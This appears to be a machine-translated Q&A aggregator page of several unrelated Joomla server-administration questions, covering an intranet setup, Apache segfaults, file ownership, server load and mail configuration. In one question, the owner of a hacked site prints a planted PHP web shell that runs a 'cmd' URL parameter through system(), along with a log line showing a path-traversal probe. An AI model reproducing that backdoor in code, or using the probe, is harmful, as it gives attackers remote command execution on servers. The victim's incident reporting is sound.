我的任务是使用 Joomla 构建 Web 服务器和 Intranet 站点,以创建 Microsoft Sharepoint 的替代方案,并希望获得有关采取哪些步骤以及如何开始的一些建议。
有一点背景知识是,我们使用了 SBS 服务器中包含的 Sharepoint,并且已经迁移到 Server 2003,并且希望有一个与 Sharepoint 类似的解决方案,它可以免费或只需一小部分成本。理想情况下,我们希望它成为员工用来了解内部新闻、日历和指向存储文档(如 SOP(标准操作程序))的中心点。
我希望能更好地解释它,抱歉在我的第一篇文章中不清楚!
当我安装 joomla 时,我看不到index.php
并且我在我的/var/log/apache2/error.log
[notice] child pid 3211 exit signal Segmentation fault (11)
Run Code Online (Sandbox Code Playgroud)
为了激活核心转储,我按照此链接中的说明进行操作
CoreDumpDirectory /tmp/apache2-gdb-dump # added this to /etc/apache2/apache2.conf
mkdir -p /tmp/apache2-gdb-dump
chown www-data: /tmp/apache2-gdb-dump
chmod 0777 /tmp/apache2-gdb-dump
/etc/init.d/httpd restart
Run Code Online (Sandbox Code Playgroud)
但我什么也没看到 coredumpdirectory
ls /tmp/apache2-gdb-dump
Run Code Online (Sandbox Code Playgroud)
我可以看到localhost/administrator
joomla 但看不到localhost/index.php
。
我正在运行的一个 Joomla 网站前几天被黑了。黑客将一些文件放入 tmp 目录,并以某种方式在那里运行 HTTP 守护程序(至少我的主机是这么告诉我的)。无论如何,我一直在努力清理他们留下的文件并尽可能保护我的安全,但在检查我的日志时,我注意到www.domain.com/?cmd=ls
. 这对我来说似乎很奇怪,所以我尝试了它...... 瞧,它列出了我网站根目录中的所有文件。有人可以向我解释为什么会发生这种情况以及我如何阻止它吗?这似乎是一个巨大的漏洞,我想立即消除它。
更新:在挖掘过程中,我注意到在 Joomla index.php 中添加了一些额外的行:
if ($_GET['cmd']!=null) {
system($_GET['cmd']);
}
Run Code Online (Sandbox Code Playgroud)
我已经删除了这些,但很想知道攻击者是如何设法编辑这些的。不太确定在哪里查看以确保我关闭了任何后门。
更多更新:首先让我说是的,我意识到这里正确的行动方案是炸毁网站并从备份中恢复。但是我更愿意把它作为最后的手段,因为 (a) 它是一个依赖社区贡献的网站,而且我的备份不是最近的(我的错,我知道)和 (b) 我正在开发一个新的应该很快准备好的版本。但是因为我似乎在这里得到了一些帮助,所以我将添加一些我发现/做的其他事情,以试图解决这种情况。
在我的 /tmp 文件夹中找到了一些 .kin(或类似的东西 - 没有记下它并立即将其删除)目录,这显然是运行这个 http 守护程序的地方。我假设 gunzip(如下所述)是如何放置在这里的。
在我的 error_log 文件中,我发现了以下可疑条目(“...”是我试图从这篇文章中删除路径/文件名):
[04-Jul-2010 09:45:58] PHP Fatal error: Class 'CkformsController../../../../../../../../../../../../../../../proc/self/environ' not found in ... on line 24
[05-Jul-2010 12:31:30] PHP Notice: Undefined index: HTTP_USER_AGENT in ... on line 92
[04-Jul-2010 06:41:52] PHP Warning: rmdir(...) [<a href='function.rmdir'>function.rmdir</a>]: Directory not empty in ... on line …
Run Code Online (Sandbox Code Playgroud) 我的问题很笼统。让我们假设我有一个 linux 发行版 web 服务器,它/var/www/
是 web 目录。我使用我的超级用户帐户上传和解压缩 Joomla 安装.zip
文件夹。
Web 用户的 linux 系统用户称为www-data
. 无论如何,我的问题是谁应该是 linux 系统中文件的 ONWER?现在,因为我使用我的超级用户帐户解压文件,所有文件夹和文件都归超级用户所有,因此在 joomla 管理系统中显示为不可写。我只是有点犹豫将www-data
用户设置为文件的所有者。这个可以吗?
仅供参考,在 linux 中,我会更改文件夹和文件的所有者,并chown
使用chgrp
.
谢谢!
我非常需要帮助。由于服务器上的大量负载,我的网站现在几乎无法使用。我的抵押贷款已经晚了一个月,这对我的情况没有帮助。几个月来,我一直在努力解决这个间歇性负载问题(从来没有这么糟糕)。
我怀疑是某种攻击,因为我经常受到 DDOS 攻击!我一直试图找出导致负载的原因,但恐怕我没有经验或知识来理解我一直在查看的所有数据。我什至不知道从哪里开始或如何测试那里的大量攻击。
这里有一些你可能会觉得有用的数据......
服务器:至强 X3220 四核 2.4 GHz - Linux,FreeBSD 500 GB HD 和 8 Gig 内存。运行 Centos release 5.7 服务器版本:Apache/2.2.21 (Unix) mod_ssl/2.2.21 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_qos/9.74
警告:所有网站都是色情色情网站 - 主要是精灵和亚马逊等奇幻艺术。
1) 站点可能会在低于 10 负载的情况下正常运行数周或几天,然后开始跳到 40-80 负载 - 不知道为什么。相同的网站,相同的模组,相同的流量 - 只是WHAM!
2)我几乎每天都会收到一封电子邮件,上面写着:“大量来自 IP 的失败登录尝试(每次都不同)”。我的网络主机(几乎从不帮助我)告诉我这是 udp 洪水之类的。
3) 我已经更改了 MySQL 的默认端口。如果我将其恢复为默认值 - 我从必须是恒定的 mysql 端口洪水中获得超过 100 的负载。
4) 我重新配置了 MYSQL。链接:http : //www.deadlyamazons.com/logs/mycnf.txt
5) 我有 3 个 Joomla Jomsocial 网络。我花了几个星期关闭所有的模组/插件,等了一天,然后在第二天或以后再打开它们,如果没有任何变化(没有)。例如,在星期四我将关闭视频,在星期五我将关闭聊天……等等,并且没有明显改变负载。
6) Joomla 信息:所有 SEF 关闭 - sh404sef 完全禁用和删除。组件:Joomla 1.5.22、Jomsocial …
大多数 CMS(例如 Joomla)都是php mail()
默认设置的,SMTP
如果我们愿意,可以选择将其更改为。我将在 Debian 7 上的同一个 VPS 中设置网络服务器和邮件服务器(Postfix)。我想了解的是:
交付声誉:使用 php mail() 与 SMTP 对交付率有什么影响吗?据我了解,Postfix 在发送电子邮件时与 Internet 上的其他服务器通信时将使用 SMTP 协议,因此可以安全地假设电子邮件是通过 php 邮件还是 smpt 从本地主机发送到 postfix 并不重要? 这两种方法中的任何一种是否会以很小的方式影响电子邮件声誉?
性能负载:发送电子邮件时,php 邮件和 SMTP 之间是否有性能差异?比如说,如果我发送 10,000 封电子邮件,哪种方法会占用最多的资源(或时间)?我的假设是,两者都需要一些时间,例如:用于编译带有标题等的电子邮件的 php 邮件和用于每次建立连接的 SMTP。哪一个消耗服务器资源最多?
安全问题:当我搜索两者之间的区别时,许多站点都提到了 php 邮件的安全问题,因为黑客可以上传 php 脚本来发送垃圾邮件。但是我也可以看到 SMTP 的另一个安全问题,因为 SMTP 用户名和密码以文本形式存储在配置文件中,这也不安全。既然这两种方法都存在安全问题,那么在任何方面,一个比另一个更重要吗?
偏好:如果我能够在我的服务器上设置 phpmail 和 SMTP,我是否应该出于某种原因优先使用一个?我的意思是,如果我可以在我的服务器中使用 SMTP,那么由于上述几点中涵盖的各种原因,我是否应该尝试使用 SMTP 而不是 phpmail?
背景:我的机器将成为一个简单的网络服务器,它使用 postfix 来发送来自 Joomla 的电子邮件、时事通讯和来自各种服务的根电子邮件。
情况:
服务器 A 和服务器 B 安装了相同的 Ubuntu 14.04、相同的 nginx 版本 (1.4.6)、相同的虚拟主机 (domain.com) 和 joomla 文件夹(从服务器 A 到 B 的 rsync-ed)
但是服务器 A 只能显示其首页,并且会在任何菜单项上显示“未指定文件输入”。
如果我更改 /etc/hosts 以便服务器 A 的 IP 在服务器 B 测试后使用 domain.com,它不会立即失败。只有几分钟后,错误才会出现。
nginx 的错误日志中有几条消息,如下所示:
2015/02/23 12:01:57 [error] 15515#0: *260609 FastCGI sent in stderr: "PHP message: PHP Notice: Undefined property: JPagination::$pagesTotal in /var/www/joomla/templates/ashton/html/com_content/featured/default.php on line 76" while reading response header from upstream, client: 10.224.202.152, server: www.domain.com, request: "GET / HTTP/1.1", upstream: "fastcgi://unix:/var/run/php5-fpm.sock:", host: "www.domain.com"
Run Code Online (Sandbox Code Playgroud) 我们是一家网站设计/托管公司,运行多个站点,有人能够将任意数据写入文件系统。我们怀疑他们仍然安装了一些脚本,需要一种方法来审核过去 10 天内更改或添加的任何内容。是否有我们可以运行的命令或脚本来执行此操作?
joomla ×8
apache-2.2 ×2
linux ×2
security ×2
email ×1
email-server ×1
filesystems ×1
hacking ×1
intranet ×1
nginx ×1
owner ×1
postfix ×1
sharepoint ×1
smtp ×1
ubuntu ×1
web-server ×1
website ×1